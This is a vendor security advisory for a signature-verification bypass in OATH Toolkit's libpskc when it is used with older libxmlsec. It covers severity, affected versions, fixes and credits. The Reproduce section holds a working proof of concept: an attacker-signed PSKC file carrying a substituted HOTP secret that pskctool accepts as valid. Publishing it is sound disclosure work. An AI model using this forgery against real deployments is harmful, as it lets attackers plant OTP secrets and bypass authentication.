OATH Toolkit PSKC Signature Verification bypass in libpskc (CVE-2026-109117)
----------------------------------------------------------------------------

Security Vulnerability
----------------------

OATH Toolkit provides a library for handling PSKC data called
'libpskc', and a command-line tool 'pskctool' that uses libpskc.

PSKC is a XML data format defined in RFC 6030 that can be used to
transport OATH HOTP/TOTP HMAC-SHA symmetric secret keys.  Libpskc
relies on the XML Security Library (libxmlsec) for cryptographic
signature verification of the PSKC data.

The RFC 6030 specification section 7 available from
https://datatracker.ietf.org/doc/html/rfc6030#section-7 is not clear
what the purpose and goal of adding a Digital Signature on PSKC data
is, nor what the threat model is.  It could be argued that rather than
authenticating the data for trust purposes, the goal of a PSKC
signature could be to provide integrity protection of the content and
a data origin identification.

The libxmlsec library before v1.3.3 allowed the XML data to provide a
key that will be used to verify the signature, instead of the key
provided by the library/application.  Version 1.3.3 of libxmlsec
changed so that it no longer trusts the key data inside the XML data
by default.

PSKC data is rarely encrypted (and OATH Toolkit do not support PSKC
encryption), therefore deployments require some outer protection of
the PSKC data to protect the OATH HOTP/TOTP secrets from leaking
during transport.  SSH and HTTPS are typical transport protocols used
for this, although offline physical transports (e.g., USB memory
devices) is common from production facilities.

However, if an attacker is able to circumvent the outer transport
protection and substitute their own PSKC data to a system that relies
on PSKC Signature Verification before trusting the incoming PSKC data,
the attacker would be able to substitute their own OATH HOTP/TOTP
secrets or otherwise cause the system to process the incoming PSKC
data as trustworthy.

The problem only occurs when OATH Toolkit's libpskc is linked to
libxmlsec older than 1.3.3, which was released on 2024-01-04.  The
release notes for libxmlsec says:

    (xmlsec-core) Disabled KeyValue and DEREncodedKeyValue XML nodes
    by default. Use the '--enabled-key-data' option for the xmlsec
    command line utility or update the 'keyInfoCtx.enabledKeyData'
    parameter if you need to re-enable these nodes (also see question
    3.5 in the FAQ).

The FAQ at https://www.aleksey.com/xmlsec/faq.html state that the old
the behaviour is **INSECURE AND NOT RECOMMENDED**.  Therefore we
consider the underlying cause to be a libxmlsec security problem,
which ought to have been patched and deployed earlier.

We encourage further research into other applications using libxmlsec
that may be similarly affected.  An earlier report from 2013 exists:
https://www.aleksey.com/pipermail/xmlsec/2013/009717.html

Many distributions and deployments still uses libxmlsec 1.2.x
including Debian 12 (1.2.37), Debian 13 (1.2.41), Ubuntu 22.04
(1.2.33), Ubuntu 24.04 (1.2.39) and RHEL 9 (1.2.33).

We are not aware of any active exploits in the wild of this flaw, and
because of the outer protection required for PSKC data we do not know
of, or can conceive, any realistic scenario where this problem could
be exploited.

We acknowledge that this may be considered a problem in OATH Toolkit,
and publish this advisory and a set of patches that prevents the
problem from occurring when libpskc is used with older libxmlsec.

Severity: low.  Likely no practical implications.

Affected versions and configurations
------------------------------------

Support for sign/verify of PSKC data was introduced in version 2.0.1
released on 2012-10-24 and not fixed up to and including 2.6.14
released on 2026-01-27.  Version 2.6.15 released on 2026-10-13
prevents the problem.

Reproduce
---------

First create a baseline, with a sample PSKC file.

  cat<<EOF>pskc.xml
  <?xml version="1.0" encoding="UTF-8"?>
  <KeyContainer Version="1.0" xmlns="urn:ietf:params:xml:ns:keyprov:pskc">
    <KeyPackage>
      <DeviceInfo>
        <Manufacturer>Manufacturer</Manufacturer>
        <SerialNo>987654321</SerialNo>
      </DeviceInfo>
      <Key Id="12345678"
           Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp">
        <AlgorithmParameters>
          <ResponseFormat Length="8" Encoding="DECIMAL"/>
        </AlgorithmParameters>
        <Data>
          <Secret>
            <PlainValue>MTIzNDU2Nzg5MDEyMzQ1Njc4OTA=
            </PlainValue>
          </Secret>
          <Counter>
            <PlainValue>0</PlainValue>
          </Counter>
        </Data>
      </Key>
    </KeyPackage>
  </KeyContainer>
  EOF

Create a new trusted key and cert:

  openssl req -x509 -newkey rsa:2048 -nodes -keyout trusted.key -out trusted.crt -days 3650 -subj "/CN=Trusted PSKC Signer"

Sign the PSKC data:

  pskctool --sign --sign-key trusted.key --sign-crt trusted.crt pskc.xml > signed-legit.xml

Confirm verification works fine:

  pskctool --verify --verify-crt trusted.crt signed-legit.xml
  OK

Now simulate an attacker that uses a XML template like this:

  cat<<EOF>attack-template.xml
  <?xml version="1.0" encoding="UTF-8"?>
    <KeyContainer Version="1.0" Id="KC0001" xmlns="urn:ietf:params:xml:ns:keyprov:pskc">
     <KeyPackage>
      <Key Id="12345678" Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp">
       <Issuer>Attacker</Issuer>
       <Data>
        <Secret>
         <PlainValue>QUJDREVGR0gK</PlainValue>
        </Secret>
       </Data>
      </Key>
     </KeyPackage>
     <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
      <SignedInfo>
       <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
       <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
       <Reference URI="">
        <Transforms>
         <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
        </Transforms>
        <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
        <DigestValue/>
       </Reference>
      </SignedInfo>
      <SignatureValue/>
      <KeyInfo>
       <KeyValue/>
      </KeyInfo>
     </Signature>
    </KeyContainer>
  EOF

Create an attacker-controlled private key/cert and sign the PSKC data:

  openssl req -x509 -newkey rsa:2048 -nodes -keyout attacker.key -out attacker.crt -days 3650 -subj "/CN=Attacker"
  xmlsec1 --sign --privkey-pem attacker.key --output attack-signed.xml attack-template.xml

Now witness that pskctool says it is properly signed:

  pskctool --verify --verify-crt trusted.crt attack-signed.xml
  OK

If accepted by some processing entity, it would now trust the data and
could rely on the OATH secret embedded in the file.

Recommendation
--------------

We recommend you to review your outer PSKC data transport protection
to confirm it provides authenticity, integrity and confidentiality of
your data before it reaches libpskc/pskctool.

As an additional precaution (if the outer protection fails), we
recommend you to upgrade to OATH Toolkit 2.6.15 (or later) and/or
upgrade libxmlsec to 1.3.3 (or later).  If upgrading is unpractical we
recommended you to apply the relevant patches on the versions you use.

Solution
--------

The patch we use is to restrict KeyValue to X509Data only:

https://codeberg.org/oath-toolkit/oath-toolkit/commit/5000be81a938a3bc01fb1a4636e89c19588ce7fb

History
-------

Report by private e-mail from info <info@uc.surf> on 2026-10-11.
Correspondence about a proof-of-concept that lead to confirming the
issue on 2026-10-12.  CVE assigned by GitLab on 2026-10-12.  Version
2.6.15 release on 2026-10-13.

Credits
-------

Report by info <info@uc.surf>, advisory and patch by Simon Josefsson.
